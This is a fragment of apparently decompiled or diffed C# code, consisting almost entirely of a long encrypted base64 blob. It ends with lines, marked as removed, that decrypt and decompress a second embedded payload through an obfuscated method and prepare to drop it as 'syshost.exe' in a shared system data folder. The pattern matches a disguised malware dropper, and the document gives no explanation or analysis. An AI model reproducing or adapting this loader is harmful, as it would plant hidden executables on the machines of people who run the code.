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", "Kj78TeMk9y4C6Sad5N3H", "Sa26Lfz9Q7HbGx5g3A4KoJr8", "SHA1", 2, "r7X4Syg2FBk96Ron", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\syshost.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.i9T3RxDd87Hoc2NCf65Bbn4ZY("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